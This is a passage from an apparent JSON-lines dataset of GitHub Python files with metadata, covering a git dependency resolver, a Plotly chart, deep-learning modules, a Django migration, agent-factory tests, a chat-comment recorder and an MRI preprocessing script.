None:\n continue\n\n if subdep.get_commit_time() > self.get_commit_time():\n errors.append(DependeeNewerThanDepender(self, subdep))\n continue\n\n commit_time = subdep.get_commit_time()\n queue.append((commit_time, subdep))\n\n queue.sort(key=lambda tup: tup[0])\n\n return source_map, packages, queue, errors\n\n def _parallel_clone(self, deps, wsroot, repo_paths, download, jobs):\n errors = []\n\n def do(dep):\n try:\n p = Package(dep.name, repo_paths)\n p.load(wsroot, download, dep.source, dep.specified_revision)\n except Exception as e:\n errors.append(e)\n\n with multiprocessing.dummy.Pool(jobs) as pool:\n pool.map(do, deps)\n\n return errors\n\n def __key(self):\n return (self.source, self.specified_revision, self.name)\n\n def __hash__(self):\n return hash(self.__key())\n\n def __eq__(self, other):\n return isinstance(self, type(other)) and self.__key() == other.__key()\n\n @staticmethod\n def infer_name(source):\n return Path(source).name.replace('.git', '')\n\n # NB: mutates packages[self.name]\n def load(self, packages, repo_paths, wsroot, download):\n if self.name in packages:\n self.package = packages[self.name]\n else:\n self.package = Package(self.name, repo_paths)\n packages[self.name] = self.package\n self.package.add_dependent(self)\n\n self.package.load(wsroot, download, source=self.source, revision=self.specified_revision)\n\n def add_dependent(self, dependent):\n if dependent not in self.dependents:\n self.dependents.append(dependent)\n\n def get_commit_time(self):\n return datetime.utcfromtimestamp(int(self.package.repo.commit_to_time(\n self.specified_revision)))\n\n def to_repo_entry(self):\n return RepoEntry(self.name, self.specified_revision, self.source, message=self.message)\n\n @staticmethod\n def from_repo_entry(entry):\n return Dependency(entry.checkout_path, entry.remote_url, entry.revision, entry.message)\n\n # used before saving to manifests/lockfiles\n def resolved(self):\n return Dependency(self.name, self.source, self.resolved_rev(), self.message)\n\n # Check if the Dependency has a Package and repo on disk\n def _is_bound(self) -> bool:\n return self.package is not None and self.package.repo is not None\n\n def resolved_rev(self):\n if not self._is_bound():\n raise Exception(\"Cannot resolve dependency that is unbound to disk\")\n return self.package.repo.get_commit(self.specified_revision)\n\n def __repr__(self):\n return \"Dep({})\".format(self.id())\n\n def short_revision(self):\n if self.package and self.package.repo:\n if self.package.repo.is_hash(self.specified_revision):\n return self.package.repo.get_shortened_rev(self.specified_revision)\n return self.specified_revision\n return self.specified_revision[:8]\n\n def id(self):\n return \"{}::{}\".format(self.name, self.short_revision())\n\n def get_id(self):\n return \"dep_\"+re.sub(r\"([^\\w\\d])\", \"_\", self.id())\n\n def crawl_dep_tree(self, wsroot, repo_paths, packages):\n fancy_tag = self.id()\n self.load(packages, repo_paths, wsroot, False)\n if self.package.repo is None:\n return {'': \"{} \\033[91m(missing)\\033[m\".format(fancy_tag)}\n if self.package.revision != self.resolved_rev():\n fancy_tag += \"->{}\".format(self.package.short_revision())\n return {'': fancy_tag}\n\n tree = {'': fancy_tag}\n subdeps = self.package.get_dependencies()\n for subdep in subdeps:\n tree[subdep.get_id()] = subdep.crawl_dep_tree(wsroot, repo_paths, packages)\n return tree\n\n\ndef sources_conflict_check(dep, source_map):\n if dep.name in source_map:\n dep_resolved_source = dep.package.resolve_source(dep.source)\n if dep_resolved_source != source_map[dep.name]:\n if not dep.package.dependents_have_common_ancestor():\n raise WitUserError((\"Two dependencies have the same name \"\n \"but an unrelated git history:\\n\"\n \" {}\\n\"\n \" {}\\n\"\n \"\".format(dep_resolved_source,\n source_map[dep.name])))\n\n\ndef parse_dependency_tag(s):\n parts = s.split('::')\n source = parts[0]\n rev = parts[1] if parts[1:] else None\n\n return source, rev\n", "repo_name": "sifive/wit", "sub_path": "lib/wit/dependency.py", "file_name": "dependency.py", "file_ext": "py", "file_size_in_byte": 6761, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 22, "dataset": "github-code", "pt": "7", "api": [{"api_name": "witlogger.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "common.WitUserError", "line_number": 14, "usage_type": "name"}, {"api_name": "package.Package", "line_number": 74, "usage_type": "call"}, {"api_name": "multiprocessing.dummy.dummy.Pool", "line_number": 79, "usage_type": "call"}, {"api_name": "multiprocessing.dummy.dummy", "line_number": 79, "usage_type": "attribute"}, {"api_name": "multiprocessing.dummy", "line_number": 79, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 95, "usage_type": "call"}, {"api_name": "package.Package", "line_number": 102, "usage_type": "call"}, {"api_name": "datetime.datetime.utcfromtimestamp", "line_number": 113, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 113, "usage_type": "name"}, {"api_name": "repo_entries.RepoEntry", "line_number": 117, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 150, "usage_type": "call"}, {"api_name": "common.WitUserError", "line_number": 173, "usage_type": "call"}]} {"seq_id": "29744849209", "text": "#ความุ้ม\nimport plotly.graph_objects as go\nimport pandas as pd\n\nnoodle_df = pd.read_csv('noodle.csv', index_col=0)\n\n\nfig = go.Figure()\n\n\nfig.add_traces(\n go.Scatter(\n x=[noodle_df.ความคุ้ม.iloc[0]],\n y=[0],\n mode='markers',\n marker=dict(\n color=noodle_df.color.iloc[0],\n size=15\n ),\n name=noodle_df.index[0],\n hovertext=f'{noodle_df.index[0]} {noodle_df.ความคุ้ม.iloc[0]} kcal/1บาท',\n hoverinfo='text'\n \n )\n)\n\nfig.add_traces(\n go.Scatter(\n x=[noodle_df.ความคุ้ม.iloc[1]],\n y=[1],\n mode='markers',\n marker=dict(\n color=noodle_df.color.iloc[1],\n size=15,\n opacity=0.5\n ),\n name=noodle_df.index[1],\n hovertext=f'{noodle_df.index[1]} {noodle_df.ความคุ้ม.iloc[1]} kcal/1บาท',\n hoverinfo='text'\n )\n)\n\nfig.add_traces(\n go.Scatter(\n x=[noodle_df.ความคุ้ม.iloc[2]],\n y=[0],\n mode='markers',\n marker=dict(\n color=noodle_df.color.iloc[2],\n size=15\n ),\n name=noodle_df.index[2],\n hovertext=f'{noodle_df.index[2]} {noodle_df.ความคุ้ม.iloc[2]} kcal/1บาท',\n hoverinfo='text'\n )\n)\n\nfig.add_traces(\n go.Scatter(\n x=[noodle_df.ความคุ้ม.iloc[3]],\n y=[0],\n mode='markers',\n marker=dict(\n color=noodle_df.color.iloc[3],\n size=15\n ),\n name=noodle_df.index[3],\n hovertext=f'{noodle_df.index[3]} {noodle_df.ความคุ้ม.iloc[3]} kcal/1บาท',\n hoverinfo='text'\n )\n)\n\nfig.add_traces(\n go.Scatter(\n x=[noodle_df.ความคุ้ม.iloc[4]],\n y=[0],\n mode='markers',\n marker=dict(\n color=noodle_df.color.iloc[4],\n size=15\n ),\n name=noodle_df.index[4],\n hovertext=f'{noodle_df.index[4]} {noodle_df.ความคุ้ม.iloc[4]} kcal/1บาท',\n hoverinfo='text'\n )\n)\n\nfig.add_traces(\n go.Scatter(\n x=[noodle_df.ความคุ้ม.iloc[5]],\n y=[2],\n mode='markers',\n marker=dict(\n color=noodle_df.color.iloc[5],\n size=15\n ),\n name=noodle_df.index[5],\n hovertext=f'{noodle_df.index[5]} {noodle_df.ความคุ้ม.iloc[5]} kcal/1บาท',\n hoverinfo='text'\n )\n)\n\nfig.update_yaxes(\n showticklabels=False\n)\nfig.update_xaxes(\n ticks='inside',\n dtick=1\n)\nfig.update_layout(\n height=330,\n plot_bgcolor='#FFFFFF',\n hovermode='x',\n \n)\n\n\n#fig.show()", "repo_name": "Nevermetyou65/whichnoodle", "sub_path": "charts/bar_ene.py", "file_name": "bar_ene.py", "file_ext": "py", "file_size_in_byte": 2742, "program_lang": "python", "lang": "th", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 5, "usage_type": "call"}, {"api_name": "plotly.graph_objects.Figure", "line_number": 8, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 8, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 12, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 12, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 28, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 28, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 44, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 44, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 59, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 59, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 74, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 74, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 89, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 89, "usage_type": "name"}]} {"seq_id": "71649070625", "text": "import torch\nfrom memory.memory import Memory\n\n\nclass DGCMemory(Memory):\n def __init__(self, momentum, gradient_clipping):\n super().__init__(cumulative_grads={}, residuals={})\n self.gradient_clipping = gradient_clipping\n self.momentum = momentum\n self.gradients = {}\n\n\n def __str__(self):\n return \"dgc_memory\"\n\n\n def compensate(self, tensor, name, worker):\n \"\"\"Update the tensor with the residuals.\"\"\"\n idx = name+str(worker)\n\n if self.gradient_clipping:\n tensor_squ_sum = torch.sum(tensor * tensor)\n clipping_val = torch.sqrt(tensor_squ_sum)\n tensor = tensor.clamp(-clipping_val, clipping_val)\n if idx in self.residuals:\n self.residuals[idx] = self.momentum * self.residuals[idx] + tensor\n else:\n self.residuals[idx] = tensor\n if idx in self.gradients:\n self.gradients[idx] += self.residuals[idx]\n tensor = self.gradients[idx]\n else:\n self.gradients[idx] = tensor\n return tensor\n\n def update(self, tensor, name, worker, compressor, tensor_compressed, ctx):\n \"\"\"Update the residuals.\"\"\"\n idx = name+str(worker)\n shape, mask, _ = ctx\n not_mask = ~mask.view(shape)\n temp = self.residuals[idx] * not_mask\n self.residuals[idx] = temp\n temp = self.gradients[idx] * not_mask\n self.gradients[idx] = temp\n\n", "repo_name": "D-J-Harris/Gradient-Compression", "sub_path": "memory/dgc.py", "file_name": "dgc.py", "file_ext": "py", "file_size_in_byte": 1445, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "memory.memory.Memory", "line_number": 5, "usage_type": "name"}, {"api_name": "torch.sum", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.sqrt", "line_number": 23, "usage_type": "call"}]} {"seq_id": "72865695902", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom mmcv.cnn import ConvModule\n\nfrom mmseg.ops import resize\nfrom ..builder import HEADS\nfrom .decode_head import BaseDecodeHead\n\n\nclass ACM(nn.Module):\n \"\"\"Adaptive Context Module used in APCNet.\n\n Args:\n pool_scale (int): Pooling scale used in Adaptive Context\n Module to extract region features.\n fusion (bool): Add one conv to fuse residual feature.\n in_channels (int): Input channels.\n channels (int): Channels after modules, before conv_seg.\n conv_cfg (dict | None): Config of conv layers.\n norm_cfg (dict | None): Config of norm layers.\n act_cfg (dict): Config of activation layers.\n \"\"\"\n\n def __init__(self, pool_scale, fusion, in_channels, channels, conv_cfg,\n norm_cfg, act_cfg):\n super(ACM, self).__init__()\n self.pool_scale = pool_scale\n self.fusion = fusion\n self.in_channels = in_channels\n self.channels = channels\n self.conv_cfg = conv_cfg\n self.norm_cfg = norm_cfg\n self.act_cfg = act_cfg\n self.pooled_redu_conv = ConvModule(\n self.in_channels,\n self.channels,\n 1,\n conv_cfg=self.conv_cfg,\n norm_cfg=self.norm_cfg,\n act_cfg=self.act_cfg)\n\n self.input_redu_conv = ConvModule(\n self.in_channels,\n self.channels,\n 1,\n conv_cfg=self.conv_cfg,\n norm_cfg=self.norm_cfg,\n act_cfg=self.act_cfg)\n\n self.global_info = ConvModule(\n self.channels,\n self.channels,\n 1,\n conv_cfg=self.conv_cfg,\n norm_cfg=self.norm_cfg,\n act_cfg=self.act_cfg)\n\n self.gla = nn.Conv2d(self.channels, self.pool_scale**2, 1, 1, 0)\n\n self.residual_conv = ConvModule(\n self.channels,\n self.channels,\n 1,\n conv_cfg=self.conv_cfg,\n norm_cfg=self.norm_cfg,\n act_cfg=self.act_cfg)\n\n if self.fusion:\n self.fusion_conv = ConvModule(\n self.channels,\n self.channels,\n 1,\n conv_cfg=self.conv_cfg,\n norm_cfg=self.norm_cfg,\n act_cfg=self.act_cfg)\n\n def forward(self, x):\n \"\"\"Forward function.\"\"\"\n pooled_x = F.adaptive_avg_pool2d(x, self.pool_scale)\n # [batch_size, channels, h, w]\n x = self.input_redu_conv(x)\n # [batch_size, channels, pool_scale, pool_scale]\n pooled_x = self.pooled_redu_conv(pooled_x)\n batch_size = x.size(0)\n # [batch_size, pool_scale * pool_scale, channels]\n pooled_x = pooled_x.view(batch_size, self.channels,\n -1).permute(0, 2, 1).contiguous()\n # [batch_size, h * w, pool_scale * pool_scale]\n affinity_matrix = self.gla(x + resize(\n self.global_info(F.adaptive_avg_pool2d(x, 1)), size=x.shape[2:])\n ).permute(0, 2, 3, 1).reshape(\n batch_size, -1, self.pool_scale**2)\n affinity_matrix = F.sigmoid(affinity_matrix)\n # [batch_size, h * w, channels]\n z_out = torch.matmul(affinity_matrix, pooled_x)\n # [batch_size, channels, h * w]\n z_out = z_out.permute(0, 2, 1).contiguous()\n # [batch_size, channels, h, w]\n z_out = z_out.view(batch_size, self.channels, x.size(2), x.size(3))\n z_out = self.residual_conv(z_out)\n z_out = F.relu(z_out + x)\n if self.fusion:\n z_out = self.fusion_conv(z_out)\n\n return z_out\n\n\n@HEADS.register_module()\nclass APCHead(BaseDecodeHead):\n \"\"\"Adaptive Pyramid Context Network for Semantic Segmentation.\n\n This head is the implementation of\n `APCNet `_.\n\n Args:\n pool_scales (tuple[int]): Pooling scales used in Adaptive Context\n Module. Default: (1, 2, 3, 6).\n fusion (bool): Add one conv to fuse residual feature.\n \"\"\"\n\n def __init__(self, pool_scales=(1, 2, 3, 6), fusion=True, **kwargs):\n super(APCHead, self).__init__(**kwargs)\n assert isinstance(pool_scales, (list, tuple))\n self.pool_scales = pool_scales\n self.fusion = fusion\n acm_modules = []\n for pool_scale in self.pool_scales:\n acm_modules.append(\n ACM(pool_scale,\n self.fusion,\n self.in_channels,\n self.channels,\n conv_cfg=self.conv_cfg,\n norm_cfg=self.norm_cfg,\n act_cfg=self.act_cfg))\n self.acm_modules = nn.ModuleList(acm_modules)\n self.bottleneck = ConvModule(\n self.in_channels + len(pool_scales) * self.channels,\n self.channels,\n 3,\n padding=1,\n conv_cfg=self.conv_cfg,\n norm_cfg=self.norm_cfg,\n act_cfg=self.act_cfg)\n\n def forward(self, inputs):\n \"\"\"Forward function.\"\"\"\n x = self._transform_inputs(inputs)\n acm_outs = [x]\n for acm_module in self.acm_modules:\n acm_outs.append(acm_module(x))\n acm_outs = torch.cat(acm_outs, dim=1)\n output = self.bottleneck(acm_outs)\n output = self.cls_seg(output)\n return output\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "PyTorch/contrib/cv/semantic_segmentation/MMseg-swin/mmseg/models/decode_heads/apc_head.py", "file_name": "apc_head.py", "file_ext": "py", "file_size_in_byte": 5532, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.nn.Module", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "mmcv.cnn.ConvModule", "line_number": 35, "usage_type": "call"}, {"api_name": "mmcv.cnn.ConvModule", "line_number": 43, "usage_type": "call"}, {"api_name": "mmcv.cnn.ConvModule", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 59, "usage_type": "name"}, {"api_name": "mmcv.cnn.ConvModule", "line_number": 61, "usage_type": "call"}, {"api_name": "mmcv.cnn.ConvModule", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn.functional.adaptive_avg_pool2d", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 80, "usage_type": "name"}, {"api_name": "mmseg.ops.resize", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.nn.functional.adaptive_avg_pool2d", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 91, "usage_type": "name"}, {"api_name": "torch.nn.functional.sigmoid", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 94, "usage_type": "name"}, {"api_name": "torch.matmul", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 102, "usage_type": "name"}, {"api_name": "decode_head.BaseDecodeHead", "line_number": 110, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 139, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 139, "usage_type": "name"}, {"api_name": "mmcv.cnn.ConvModule", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 155, "usage_type": "call"}, {"api_name": "builder.HEADS.register_module", "line_number": 109, "usage_type": "call"}, {"api_name": "builder.HEADS", "line_number": 109, "usage_type": "name"}]} {"seq_id": "34716875607", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Cost',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, verbose_name='ID', serialize=False)),\n ('title', models.CharField(max_length=255)),\n ('total_price', models.DecimalField(max_digits=19, decimal_places=2)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Order',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, verbose_name='ID', serialize=False)),\n ('address', models.CharField(max_length=255, verbose_name='Адрес')),\n ('name', models.CharField(max_length=255, verbose_name='Имя')),\n ('phone', models.CharField(max_length=16, verbose_name='Телефон')),\n ('status', models.CharField(max_length=25, verbose_name='Статус заявки')),\n ('breaking_type', models.CharField(max_length=255, verbose_name='Тип поломки')),\n ('date_added', models.DateTimeField(verbose_name='Время и дата создания заявки')),\n ('date_end', models.DateTimeField(verbose_name='Время и дата выполнения заявки', blank=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='cost',\n name='order_no',\n field=models.ForeignKey(to='service.Order'),\n preserve_default=True,\n ),\n ]\n", "repo_name": "d1mskat/but_service", "sub_path": "service/migrations/0001_initial.py", "file_name": "0001_initial.py", "file_ext": "py", "file_size_in_byte": 1858, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 13, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 13, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 22, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 27, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 27, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 31, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 31, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 32, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 32, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 33, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 34, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 34, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 38, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 38, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 40, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 40, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 43, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 43, "usage_type": "name"}]} {"seq_id": "30673264768", "text": "from ..LoggedTestCase import LoggedTestCase\nfrom aienvs.Environment import Env\nfrom unittest.mock import Mock\nfrom aiagents.AgentFactory import createAgent, classForName, classForNameTyped\nfrom gym import spaces\n\ncompoundclass = 'aiagents.multi.BasicComplexAgent.BasicComplexAgent'\nrandomclass = 'aiagents.single.RandomAgent.RandomAgent'\n\naction_space = spaces.Dict({'robot1':spaces.Discrete(4)})\n\n\nclass testComplexAgentComponent(LoggedTestCase):\n\n def test_smoke_no_agents(self):\n params = {}\n with self.assertRaises(Exception) as context:\n createAgent(action_space, None, params)\n self.assertEquals(\"Parameters must have key 'class' but got {}\" , str(context.exception))\n\n def test_smoke_agents_no_dict(self):\n params = {'class':randomclass, 'parameters':{}, 'subAgentList':3}\n with self.assertRaises(Exception) as context:\n createAgent(action_space, None, params)\n self.assertEquals(\"the subAgentList parameter must contain a list, but got {'class': 'aiagents.single.RandomAgent.RandomAgent', 'parameters': {}, 'subAgentList': 3}\", str(context.exception))\n\n def test_smoke_bad_parameters(self):\n params = {'class':randomclass, 'parameters':{}, 'subAgentList':{'a':1}}\n with self.assertRaises(Exception) as context:\n createAgent(action_space, None, params)\n self.assertEquals(\"the subAgentList parameter must contain a list, but got {'class': 'aiagents.single.RandomAgent.RandomAgent', 'parameters': {}, 'subAgentList': {'a': 1}}\" , str(context.exception))\n\n def test_smoke_empty_settings(self):\n params = {'class':randomclass, 'parameters':{}, 'subAgentList':{'a':{}}}\n with self.assertRaises(Exception) as context:\n createAgent(action_space, None, params)\n self.assertEquals(\"the subAgentList parameter must contain a list, but got {'class': 'aiagents.single.RandomAgent.RandomAgent', 'parameters': {}, 'subAgentList': {'a': {}}}\" , str(context.exception))\n\n def test_smoke_incomplete_settings(self):\n params = {'class':'some.class'}\n with self.assertRaises(Exception) as context:\n createAgent(action_space, None, params)\n self.assertEquals(\"Parameters must have key 'parameters' containing a dict but got {'class': 'some.class'}\" , str(context.exception))\n\n def test_smoke_bad_parameters_settings(self):\n params = {'class':'some.class', 'parameters':1}\n with self.assertRaises(Exception) as context:\n createAgent(action_space, None, params)\n self.assertEquals(\"Parameters must have key 'parameters' containing a dict but got {'class': 'some.class', 'parameters': 1}\" , str(context.exception))\n\n def test_smoke_no_some_class(self):\n params = {'class':'some.class', 'id':'robot1', 'parameters':{}}\n with self.assertRaises(Exception) as context:\n createAgent(action_space, None, params)\n self.assertEquals(\"Can't load some.class from {'class': 'some.class', 'id': 'robot1', 'parameters': {}}\" , str(context.exception))\n\n def test_smoke(self): \n params = {'class':randomclass, 'id':'robot1', 'parameters':{}}\n createAgent(action_space, None, params)\n \n def test_check_subparty_rootclass_nochildren(self): \n params = {'class':randomclass, 'parameters':{}, 'subAgentList':[{'class':randomclass, 'id':'robot1', 'parameters':{}}]}\n with self.assertRaises(Exception) as context:\n createAgent(action_space, None, params)\n self.assertEquals(\"aiagents.single.RandomAgent.RandomAgent failed on __init__:\" , str(context.exception))\n\n def test_check_subparty(self): \n params = {'class':compoundclass, 'parameters':{}, 'subAgentList':[{'class':randomclass, 'id':'robot1', 'parameters':{}}]}\n agt = createAgent(action_space, None, params)\n subs = agt._agentSubcomponents\n self.assertEquals(1, len(subs))\n self.assertEquals('RandomAgent', type(subs[0]).__name__)\n", "repo_name": "INFLUENCEorg/aiagents", "sub_path": "test/multi/testComplexAgentComponent.py", "file_name": "testComplexAgentComponent.py", "file_ext": "py", "file_size_in_byte": 3993, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "gym.spaces.Dict", "line_number": 10, "usage_type": "call"}, {"api_name": "gym.spaces", "line_number": 10, "usage_type": "name"}, {"api_name": "gym.spaces.Discrete", "line_number": 10, "usage_type": "call"}, {"api_name": "LoggedTestCase.LoggedTestCase", "line_number": 13, "usage_type": "name"}, {"api_name": "aiagents.AgentFactory.createAgent", "line_number": 18, "usage_type": "call"}, {"api_name": "aiagents.AgentFactory.createAgent", "line_number": 24, "usage_type": "call"}, {"api_name": "aiagents.AgentFactory.createAgent", "line_number": 30, "usage_type": "call"}, {"api_name": "aiagents.AgentFactory.createAgent", "line_number": 36, "usage_type": "call"}, {"api_name": "aiagents.AgentFactory.createAgent", "line_number": 42, "usage_type": "call"}, {"api_name": "aiagents.AgentFactory.createAgent", "line_number": 48, "usage_type": "call"}, {"api_name": "aiagents.AgentFactory.createAgent", "line_number": 54, "usage_type": "call"}, {"api_name": "aiagents.AgentFactory.createAgent", "line_number": 59, "usage_type": "call"}, {"api_name": "aiagents.AgentFactory.createAgent", "line_number": 64, "usage_type": "call"}, {"api_name": "aiagents.AgentFactory.createAgent", "line_number": 69, "usage_type": "call"}]} {"seq_id": "69824078624", "text": "import asyncio\nimport sqlite3\nimport threading\nimport time\nimport copy\n\nimport logging\nlogger = logging.getLogger('bili')\n\nclass CommentsRecorder(threading.Thread):\n def __init__(self, lock, commentq, numq):\n threading.Thread.__init__(self)\n self.lock = lock\n self.commentq = commentq\n self.numq = numq\n\n self.cx = sqlite3.connect('bilbili.db', check_same_thread = False)\n self.cu = self.cx.cursor()\n\n def run(self):\n\n while True:\n time.sleep(10)\n print ()\n print ('begin to write db')\n logging.debug('begin to write db')\n if self.lock.acquire():\n nums = copy.deepcopy(self.numq)\n self.numq.clear()\n self.lock.release()\n for num in nums:\n table = 'ss' + str(num[0])\n self.cu.execute(\"insert into %s (number, time) values (?, ? )\" % table, (num[1], num[2]))\n self.cx.commit()\n print ('record number of people: %s' % len(nums))\n logging.debug('record number of people: %s' % len(nums))\n if self.lock.acquire():\n comments = copy.deepcopy(self.commentq)\n self.commentq.clear()\n self.lock.release()\n for comment in comments:\n table = 'tt' + str(comment[0])\n\n self.cu.execute(\"insert into %s (name, comment, time) values (?, ?, ?)\" % table, (comment[1], comment[2], comment[3]))\n self.cx.commit()\n print ('record comments: %s' % len(comments))\n logging.debug('record comments: %s' % len(comments))\n print ()\n", "repo_name": "lyyyuna/bilibili_danmu_colloector", "sub_path": "CommentsRecorder.py", "file_name": "CommentsRecorder.py", "file_ext": "py", "file_size_in_byte": 1720, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 29, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 10, "usage_type": "attribute"}, {"api_name": "threading.Thread.__init__", "line_number": 12, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 12, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 17, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 23, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 26, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 28, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 36, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 38, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 47, "usage_type": "call"}]} {"seq_id": "42675948078", "text": "import subprocess\nimport sys\nimport logging\nimport pathlib\nfrom joblib import Parallel, delayed\nimport time\nimport logging\nimport pickle\nimport utils\nimport datetime\n\nsubjects_filename = pathlib.Path(sys.argv[1])\n\nwith open(subjects_filename, 'rb') as f:\n subjects = pickle.load(f)\n\n\n# If a subject ID is explicitely given, only process this one\nif len(sys.argv) == 4:\n subject_id = sys.argv[2]\n subject_t = sys.argv[3]\n subjects = list([subject for subject in subjects if subject['id'] == subject_id and subject['t'] == subject_t])\n\n if not subjects:\n print(\"Could not find subject {} at time {}!\".format(subject_id, subject_t))\n exit()\n\n\ndef apply_eddy(subject):\n print(\"Processing subject {} at {}.\".format(subject['id'], subject['t']))\n\n # Initialize logger\n logger = logging.getLogger(subject['id']+subject['t'])\n logger.addHandler(logging.FileHandler(subject['path'].joinpath(\"1_preprocess_{}_{}.log\".format(subject['id'], subject['t'])), mode='w'))\n logger.setLevel(logging.INFO)\n logger.info(\"Preprocessing subject {} at {}, step 1...\".format(subject['id'], subject['t']))\n logger.info(\"{}\".format(datetime.datetime.today()))\n logger.info(\"FSL version {}\".format(utils.get_fsl_version()))\n logger.info(\"\")\n\n start = time.perf_counter()\n\n index_file = subject['path'].joinpath(subject['id'] + \"_\" + subject['t'] + \"_index.txt\")\n\n # First generate index file to match the number of b0 values.\n with open(subject['bval'], 'r') as f:\n count = len(f.read()[:-2].split(\" \"))\n\n with open(index_file, 'w') as f:\n f.write(\"1 \"*count)\n\n logger.info(\"Found {} diffusion 